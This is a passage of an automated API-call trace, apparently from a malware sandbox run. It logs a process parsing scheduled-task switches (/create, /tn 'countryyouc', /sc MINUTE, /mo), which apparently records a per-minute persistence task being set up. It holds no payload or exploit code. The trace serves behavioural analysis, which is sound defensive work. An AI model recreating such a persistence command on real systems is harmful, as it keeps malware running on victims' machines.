dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="i") returned 1 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="tn") returned 2 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="tr") returned 2 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.284] lstrlenW (lpString="st") returned 2 [0072.284] GetThreadLocale () returned 0x409 [0072.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="sd") returned 2 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="ed") returned 2 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="it") returned 2 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="et") returned 2 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="k") returned 1 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="du") returned 2 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="ri") returned 2 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="z") returned 1 [0072.285] GetThreadLocale () returned 0x409 [0072.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.285] lstrlenW (lpString="f") returned 1 [0072.285] GetThreadLocale () returned 0x409 [0072.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.286] lstrlenW (lpString="v1") returned 2 [0072.286] GetThreadLocale () returned 0x409 [0072.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.286] lstrlenW (lpString="xml") returned 3 [0072.286] GetThreadLocale () returned 0x409 [0072.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.286] lstrlenW (lpString="ec") returned 2 [0072.286] GetThreadLocale () returned 0x409 [0072.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.286] lstrlenW (lpString="rl") returned 2 [0072.286] GetThreadLocale () returned 0x409 [0072.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.286] lstrlenW (lpString="delay") returned 5 [0072.286] GetThreadLocale () returned 0x409 [0072.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.286] lstrlenW (lpString="np") returned 2 [0072.286] SetLastError (dwErrCode=0x0) [0072.286] SetLastError (dwErrCode=0x0) [0072.286] lstrlenW (lpString="/create") returned 7 [0072.286] lstrlenW (lpString="-/") returned 2 [0072.286] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.286] lstrlenW (lpString="create") returned 6 [0072.286] lstrlenW (lpString="create") returned 6 [0072.286] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.286] lstrlenW (lpString="create") returned 6 [0072.286] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.287] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|create|") returned 8 [0072.287] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|create|") returned 8 [0072.287] lstrlenW (lpString="|create|") returned 8 [0072.287] lstrlenW (lpString="|create|") returned 8 [0072.287] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0072.287] SetLastError (dwErrCode=0x0) [0072.287] SetLastError (dwErrCode=0x0) [0072.287] SetLastError (dwErrCode=0x0) [0072.287] lstrlenW (lpString="/tn") returned 3 [0072.287] lstrlenW (lpString="-/") returned 2 [0072.287] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.287] lstrlenW (lpString="create") returned 6 [0072.287] lstrlenW (lpString="create") returned 6 [0072.287] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.287] lstrlenW (lpString="tn") returned 2 [0072.287] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.287] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|create|") returned 8 [0072.287] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.287] lstrlenW (lpString="|create|") returned 8 [0072.287] lstrlenW (lpString="|tn|") returned 4 [0072.287] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0072.287] SetLastError (dwErrCode=0x490) [0072.287] lstrlenW (lpString="?") returned 1 [0072.287] lstrlenW (lpString="?") returned 1 [0072.287] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.288] lstrlenW (lpString="tn") returned 2 [0072.288] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.288] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|?|") returned 3 [0072.288] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.288] lstrlenW (lpString="|?|") returned 3 [0072.288] lstrlenW (lpString="|tn|") returned 4 [0072.288] SetLastError (dwErrCode=0x490) [0072.288] lstrlenW (lpString="s") returned 1 [0072.288] lstrlenW (lpString="s") returned 1 [0072.288] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.288] lstrlenW (lpString="tn") returned 2 [0072.288] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.288] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|s|") returned 3 [0072.288] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.288] lstrlenW (lpString="|s|") returned 3 [0072.288] lstrlenW (lpString="|tn|") returned 4 [0072.288] SetLastError (dwErrCode=0x490) [0072.288] lstrlenW (lpString="u") returned 1 [0072.288] lstrlenW (lpString="u") returned 1 [0072.288] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.288] lstrlenW (lpString="tn") returned 2 [0072.288] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.288] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|u|") returned 3 [0072.288] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.288] lstrlenW (lpString="|u|") returned 3 [0072.288] lstrlenW (lpString="|tn|") returned 4 [0072.289] SetLastError (dwErrCode=0x490) [0072.289] lstrlenW (lpString="p") returned 1 [0072.289] lstrlenW (lpString="p") returned 1 [0072.289] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.289] lstrlenW (lpString="tn") returned 2 [0072.289] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.289] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|p|") returned 3 [0072.289] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.289] lstrlenW (lpString="|p|") returned 3 [0072.289] lstrlenW (lpString="|tn|") returned 4 [0072.289] SetLastError (dwErrCode=0x490) [0072.289] lstrlenW (lpString="ru") returned 2 [0072.289] lstrlenW (lpString="ru") returned 2 [0072.289] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.289] lstrlenW (lpString="tn") returned 2 [0072.289] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.289] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|ru|") returned 4 [0072.289] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.289] lstrlenW (lpString="|ru|") returned 4 [0072.289] lstrlenW (lpString="|tn|") returned 4 [0072.289] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0072.289] SetLastError (dwErrCode=0x490) [0072.289] lstrlenW (lpString="rp") returned 2 [0072.289] lstrlenW (lpString="rp") returned 2 [0072.289] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.290] lstrlenW (lpString="tn") returned 2 [0072.290] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.290] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|rp|") returned 4 [0072.290] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.290] lstrlenW (lpString="|rp|") returned 4 [0072.290] lstrlenW (lpString="|tn|") returned 4 [0072.290] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0072.290] SetLastError (dwErrCode=0x490) [0072.290] lstrlenW (lpString="sc") returned 2 [0072.290] lstrlenW (lpString="sc") returned 2 [0072.290] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.290] lstrlenW (lpString="tn") returned 2 [0072.290] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.290] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.290] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.290] lstrlenW (lpString="|sc|") returned 4 [0072.290] lstrlenW (lpString="|tn|") returned 4 [0072.290] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0072.290] SetLastError (dwErrCode=0x490) [0072.290] lstrlenW (lpString="mo") returned 2 [0072.290] lstrlenW (lpString="mo") returned 2 [0072.290] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.290] lstrlenW (lpString="tn") returned 2 [0072.290] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.291] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.291] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.291] lstrlenW (lpString="|mo|") returned 4 [0072.291] lstrlenW (lpString="|tn|") returned 4 [0072.291] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0072.291] SetLastError (dwErrCode=0x490) [0072.291] lstrlenW (lpString="d") returned 1 [0072.291] lstrlenW (lpString="d") returned 1 [0072.291] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.291] lstrlenW (lpString="tn") returned 2 [0072.291] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.291] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|d|") returned 3 [0072.291] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.291] lstrlenW (lpString="|d|") returned 3 [0072.291] lstrlenW (lpString="|tn|") returned 4 [0072.291] SetLastError (dwErrCode=0x490) [0072.291] lstrlenW (lpString="m") returned 1 [0072.291] lstrlenW (lpString="m") returned 1 [0072.291] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.291] lstrlenW (lpString="tn") returned 2 [0072.291] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.291] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|m|") returned 3 [0072.291] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.291] lstrlenW (lpString="|m|") returned 3 [0072.292] lstrlenW (lpString="|tn|") returned 4 [0072.292] SetLastError (dwErrCode=0x490) [0072.292] lstrlenW (lpString="i") returned 1 [0072.292] lstrlenW (lpString="i") returned 1 [0072.292] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.292] lstrlenW (lpString="tn") returned 2 [0072.292] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.292] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|i|") returned 3 [0072.292] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.292] lstrlenW (lpString="|i|") returned 3 [0072.292] lstrlenW (lpString="|tn|") returned 4 [0072.292] SetLastError (dwErrCode=0x490) [0072.292] lstrlenW (lpString="tn") returned 2 [0072.292] lstrlenW (lpString="tn") returned 2 [0072.292] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.292] lstrlenW (lpString="tn") returned 2 [0072.292] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.292] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.292] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.308] lstrlenW (lpString="|tn|") returned 4 [0072.308] lstrlenW (lpString="|tn|") returned 4 [0072.308] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0072.308] SetLastError (dwErrCode=0x0) [0072.308] SetLastError (dwErrCode=0x0) [0072.308] lstrlenW (lpString="countryyouc") returned 11 [0072.308] lstrlenW (lpString="-/") returned 2 [0072.308] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0072.308] SetLastError (dwErrCode=0x490) [0072.308] SetLastError (dwErrCode=0x490) [0072.308] SetLastError (dwErrCode=0x0) [0072.308] lstrlenW (lpString="countryyouc") returned 11 [0072.308] StrChrIW (lpStart="countryyouc", wMatch=0x3a) returned 0x0 [0072.308] SetLastError (dwErrCode=0x490) [0072.308] SetLastError (dwErrCode=0x0) [0072.308] lstrlenW (lpString="countryyouc") returned 11 [0072.308] SetLastError (dwErrCode=0x0) [0072.308] SetLastError (dwErrCode=0x0) [0072.309] lstrlenW (lpString="/sc") returned 3 [0072.309] lstrlenW (lpString="-/") returned 2 [0072.309] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.309] lstrlenW (lpString="create") returned 6 [0072.309] lstrlenW (lpString="create") returned 6 [0072.309] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.309] lstrlenW (lpString="sc") returned 2 [0072.309] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.309] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|create|") returned 8 [0072.309] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.309] lstrlenW (lpString="|create|") returned 8 [0072.309] lstrlenW (lpString="|sc|") returned 4 [0072.309] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0072.309] SetLastError (dwErrCode=0x490) [0072.309] lstrlenW (lpString="?") returned 1 [0072.309] lstrlenW (lpString="?") returned 1 [0072.309] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.309] lstrlenW (lpString="sc") returned 2 [0072.309] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.309] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|?|") returned 3 [0072.309] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.309] lstrlenW (lpString="|?|") returned 3 [0072.309] lstrlenW (lpString="|sc|") returned 4 [0072.310] SetLastError (dwErrCode=0x490) [0072.310] lstrlenW (lpString="s") returned 1 [0072.310] lstrlenW (lpString="s") returned 1 [0072.310] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.310] lstrlenW (lpString="sc") returned 2 [0072.310] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.310] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|s|") returned 3 [0072.310] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.310] lstrlenW (lpString="|s|") returned 3 [0072.310] lstrlenW (lpString="|sc|") returned 4 [0072.310] SetLastError (dwErrCode=0x490) [0072.310] lstrlenW (lpString="u") returned 1 [0072.310] lstrlenW (lpString="u") returned 1 [0072.310] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.310] lstrlenW (lpString="sc") returned 2 [0072.310] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.310] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|u|") returned 3 [0072.310] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.310] lstrlenW (lpString="|u|") returned 3 [0072.310] lstrlenW (lpString="|sc|") returned 4 [0072.310] SetLastError (dwErrCode=0x490) [0072.310] lstrlenW (lpString="p") returned 1 [0072.310] lstrlenW (lpString="p") returned 1 [0072.310] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.311] lstrlenW (lpString="sc") returned 2 [0072.311] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.311] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|p|") returned 3 [0072.311] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.311] lstrlenW (lpString="|p|") returned 3 [0072.311] lstrlenW (lpString="|sc|") returned 4 [0072.311] SetLastError (dwErrCode=0x490) [0072.311] lstrlenW (lpString="ru") returned 2 [0072.311] lstrlenW (lpString="ru") returned 2 [0072.311] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.311] lstrlenW (lpString="sc") returned 2 [0072.311] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.311] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|ru|") returned 4 [0072.311] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.311] lstrlenW (lpString="|ru|") returned 4 [0072.311] lstrlenW (lpString="|sc|") returned 4 [0072.311] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0072.311] SetLastError (dwErrCode=0x490) [0072.311] lstrlenW (lpString="rp") returned 2 [0072.311] lstrlenW (lpString="rp") returned 2 [0072.311] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.311] lstrlenW (lpString="sc") returned 2 [0072.311] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.311] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|rp|") returned 4 [0072.312] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.312] lstrlenW (lpString="|rp|") returned 4 [0072.312] lstrlenW (lpString="|sc|") returned 4 [0072.312] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0072.312] SetLastError (dwErrCode=0x490) [0072.312] lstrlenW (lpString="sc") returned 2 [0072.312] lstrlenW (lpString="sc") returned 2 [0072.312] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.312] lstrlenW (lpString="sc") returned 2 [0072.312] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.312] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.312] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.312] lstrlenW (lpString="|sc|") returned 4 [0072.312] lstrlenW (lpString="|sc|") returned 4 [0072.312] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0072.312] SetLastError (dwErrCode=0x0) [0072.312] SetLastError (dwErrCode=0x0) [0072.312] lstrlenW (lpString="MINUTE") returned 6 [0072.312] lstrlenW (lpString="-/") returned 2 [0072.312] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0072.312] SetLastError (dwErrCode=0x490) [0072.312] SetLastError (dwErrCode=0x490) [0072.312] SetLastError (dwErrCode=0x0) [0072.312] lstrlenW (lpString="MINUTE") returned 6 [0072.312] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0072.312] SetLastError (dwErrCode=0x490) [0072.313] SetLastError (dwErrCode=0x0) [0072.313] GetProcessHeap () returned 0x60000 [0072.313] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d6e0 [0072.313] _memicmp (_Buf1=0x7d6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.313] lstrlenW (lpString="MINUTE") returned 6 [0072.313] GetProcessHeap () returned 0x60000 [0072.313] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d700 [0072.313] lstrlenW (lpString="MINUTE") returned 6 [0072.313] lstrlenW (lpString=" \x09") returned 2 [0072.313] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0072.313] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0072.313] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0072.313] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0072.313] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0072.313] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0072.313] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0072.313] GetLastError () returned 0x0 [0072.313] lstrlenW (lpString="MINUTE") returned 6 [0072.313] lstrlenW (lpString="MINUTE") returned 6 [0072.313] SetLastError (dwErrCode=0x0) [0072.313] SetLastError (dwErrCode=0x0) [0072.313] lstrlenW (lpString="/mo") returned 3 [0072.313] lstrlenW (lpString="-/") returned 2 [0072.313] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.313] lstrlenW (lpString="create") returned 6 [0072.313] lstrlenW (lpString="create") returned 6 [0072.313] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.314] lstrlenW (lpString="mo") returned 2 [0072.314] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.314] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|create|") returned 8 [0072.314] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.314] lstrlenW (lpString="|create|") returned 8 [0072.314] lstrlenW (lpString="|mo|") returned 4 [0072.314] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0072.314] SetLastError (dwErrCode=0x490) [0072.314] lstrlenW (lpString="?") returned 1 [0072.314] lstrlenW (lpString="?") returned 1 [0072.314] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.314] lstrlenW (lpString="mo") returned 2 [0072.314] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.314] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|?|") returned 3 [0072.314] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.314] lstrlenW (lpString="|?|") returned 3 [0072.314] lstrlenW (lpString="|mo|") returned 4 [0072.314] SetLastError (dwErrCode=0x490) [0072.314] lstrlenW (lpString="s") returned 1 [0072.314] lstrlenW (lpString="s") returned 1 [0072.314] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.315] lstrlenW (lpString="mo") returned 2 [0072.315] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.315] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|s|") returned 3 [0072.315] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.315] lstrlenW 